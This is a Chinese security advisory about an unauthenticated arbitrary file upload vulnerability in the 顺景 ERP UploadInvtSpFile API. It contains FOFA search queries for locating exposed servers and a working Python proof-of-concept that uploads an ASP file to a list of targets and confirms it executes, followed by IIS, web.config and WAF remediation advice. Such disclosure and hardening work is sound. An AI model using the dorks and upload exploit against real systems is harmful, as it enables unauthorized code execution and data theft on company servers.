一、产品框架介绍
(一)产品定位
顺景 ERP 是面向制造业及中小企业的企业资源计划管理系统,主要解决企业供应链管理、生产流程管控、财务数据集成等核心业务场景。其核心架构基于ASP.NET框架,采用前后端混合模式,服务端部署于 Windows IIS 服务器,支持企业内部局域网及公网访问。
(二)技术栈架构
- 前端层:基于ASP.NET Web Forms 开发,部分模块采用 jQuery 实现动态交互
- 服务层:使用 C# 语言开发,集成ASP.NET Web API 构建接口服务,运行于 IIS 7.0 + 服务器
- 数据层:默认采用 SQL Server 数据库存储业务数据
- 基础设施:典型部署环境为 Windows Server + IIS + SQL Server,支持本地服务器或云主机部署
(三)典型应用场景
- 供应链管理:物料采购、库存管理、销售订单处理
- 生产流程管理:工单创建、工艺路线配置、生产进度跟踪
- 财务集成:应收应付账款管理、成本核算、报表生成
二、fofa 语句
(一)资产发现语法
body="/api/DBRecord/getDBRecords"
(二)扩展查询
header="X-Powered-By: ASP.NET" && body="UploadInvtSpFile" && server="Microsoft-IIS"
说明:通过技术栈指纹(ASP.NET+ IIS)进一步缩小范围
三、漏洞介绍
(一)基础信息
漏洞属性 | 具体信息 |
漏洞名称 | 顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞 |
漏洞编号 | 未公开(待 CVE/CNVD 收录) |
发现时间 | 2025-05-13 |
影响版本 | 全版本(尤其是未启用文件校验的部署) |
漏洞类型 | 文件上传漏洞 |
CVSS 评分 | 8.8(高危) |
(二)漏洞原理
该漏洞源于/api/cgInvtSp/UploadInvtSpFile接口未对上传文件的扩展名、内容类型及用户权限进行校验。攻击者可构造包含恶意代码(如 ASP 脚本)的 multipart/form-data 请求,绕过身份验证直接上传可执行文件至服务器。由于服务端使用 IIS 解析 ASP 文件,攻击者上传后可通过访问文件路径执行任意代码,最终获取服务器权限或窃取数据。
四、漏洞复现
(一)环境准备
- 目标系统:顺景 ERP 任意版本(部署于 IIS 10.0 环境)
- 攻击工具:Burp Suite、Python 漏洞扫描脚本
- 辅助资源:
- POC 参考:本文提供的 Python 脚本及 HTTP 请求示例
- 测试文件:test.asp(内容为<% Response.Write(“VulnDetected”) %>)
(二)Python 漏洞扫描脚本
import requests
import uuid
from urllib.parse import urljoin
def scan_vulnerability(target_url, proxy):
# 构造文件上传数据
boundary = f"---------------------------{uuid.uuid4().hex}"
filename = "test.asp"
file_content = b"<% Response.Write(\"VulnDetected\") %>"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
}
payload = [
f"--{boundary}",
f'Content-Disposition: form-data; name="filedata"; filename="{filename}"',
"Content-Type: image/png",
"",
file_content.decode(),
f"--{boundary}--",
""
]
payload = "\r\n".join(payload).encode()
try:
# 发送上传请求(带代理)
response = requests.post(
urljoin(target_url, "/api/cgInvtSp/UploadInvtSpFile"),
data=payload,
headers=headers,
timeout=15,
allow_redirects=False,
proxies=proxy # 添加代理配置
)
# 解析响应获取文件路径
if response.status_code == 200:
try:
result = response.json()
if "filename" in result and "filepath" in result:
file_path = result["filepath"]
# 拼接完整访问URL(处理转义字符)
access_url = urljoin(target_url, file_path.replace("\\", "/"))
# 验证文件访问(带代理)
verify_response = requests.get(
access_url,
timeout=15,
proxies=proxy # 添加代理配置
)
if "VulnDetected" in verify_response.text:
print(f"[+] 目标存在漏洞,可访问路径:{access_url}")
return True
else:
print(f"[-] 文件存在但未返回特征值,可能环境差异")
return False
else:
print(f"[-] 响应格式异常,非预期返回:{response.text[:100]}")
return False
except ValueError:
print(f"[-] 响应非JSON格式:{response.text[:100]}")
return False
else:
print(f"[-] 上传请求失败,状态码:{response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] 请求异常:{str(e)}")
return False
def main():
proxy = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
} # 统一代理配置,用于分析请求和响应是否正常
try:
with open("targets.txt", "r", encoding="utf-8") as f:
targets = [line.strip() for line in f.readlines() if line.strip()]
except FileNotFoundError:
print("[-] 未找到targets.txt文件,请确保文件存在并包含目标URL")
return
for target in targets:
print(f"\n[*] 开始扫描目标:{target}")
result = scan_vulnerability(target, proxy)
if result:
print("[!] 目标存在任意文件上传漏洞,建议立即修复!")
else:
print("[*] 目标未检测到漏洞或环境存在差异")
if __name__ == "__main__":
main()
(三)复现步骤
- 脚本运行:
python scan_shunjing_erp.py
- 核心逻辑解析:
- 构造包含.asp后缀的测试文件,内容包含特征字符串VulnDetected
- 通过 POST 请求上传文件至目标接口,解析响应获取文件存储路径
- 访问存储路径,验证是否返回特征字符串,确认漏洞存在性
(四)注意事项
- 路径拼接问题:
- 部分部署可能存在虚拟目录(如/erp/),需手动调整urljoin逻辑
- IIS 配置差异:
- 若目标禁用 ASP 脚本执行,漏洞利用会失败,但扫描脚本仍能检测文件是否可上传
- 安全合规:
- 请在合法授权环境下使用脚本,避免未经允许的网络扫描
五、修复建议
(一)官方补丁方案
- 紧急措施:联系顺景软件官方技术支持,获取针对UploadInvtSpFile接口的安全补丁,升级至修复了文件校验和权限控制的版本。
- 补丁验证:升级后使用扫描脚本验证漏洞是否修复,确保上传功能仅允许合法文件类型。
(二)临时修复措施
1. IIS 请求过滤配置
在 IIS 站点配置中添加文件类型禁止规则(适用于 Windows Server 环境):
<system.webServer> <security> <requestFiltering> <fileExtensions> <!-- 禁止ASP/ASPX等危险文件类型 --> <add fileExtension=".asp" allowed="false" /> <add fileExtension=".aspx" allowed="false" /> <add fileExtension=".ashx" allowed="false" /> </fileExtensions> </requestFiltering> </security> </system.webServer>
2. 接口权限增强
修改 Web.config,对漏洞接口添加身份验证强制约束:
<location path="api/cgInvtSp/UploadInvtSpFile"> <system.web> <authorization> <deny users="?" /> <!-- 拒绝未认证用户访问 --> </authorization> </system.web> </location>
(三)安全配置优化
- 文件上传校验:
- 在服务端代码中添加文件扩展名白名单校验(如仅允许.xls/.xlsx等业务必需类型)
- 校验文件 MIME 类型与扩展名一致性,避免Content-Type头欺骗
- 最小权限原则:
- 将上传目录(如InvtSpFiles)的 NTFS 权限设置为仅IIS_IUSRS用户具有读取权限,禁止执行权限
- WAF 规则部署:
- 配置 Web 应用防火墙规则,拦截包含filename=”*.asp”或路径穿越字符(../)的请求
- 日志审计:
- 开启 IIS 详细日志记录,重点监控/api/cgInvtSp/UploadInvtSpFile接口的访问记录,记录字段包括:
- 客户端 IP、请求时间、上传文件名、响应状态码
(四)最佳实践
- 定期安全检测:
- 使用 Nessus、AWVS 等专业工具进行漏洞扫描,每周至少执行一次资产暴露面检测
- 通过 fofa 定期扫描公网资产,确保无未授权暴露的UploadInvtSpFile接口
- 开发安全管控:
- 在代码审计中加入文件上传模块专项检查,禁止使用动态拼接路径的方式处理上传文件
- 对开发团队进行 OWASP Top 10 安全培训,重点讲解文件上传漏洞的危害及防御措施
- 应急响应准备:
- 建立漏洞应急响应流程,当检测到异常文件上传时,立即隔离服务器并排查已上传文件
声明:本文档仅用于技术研究与漏洞分析,严禁将相关内容用于非法攻击或入侵行为。企业应遵循网络安全法规,在修复漏洞前确保获得合法授权。顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞分析
感谢您的来访,获取更多精彩文章请收藏本站。

THE END
暂无评论内容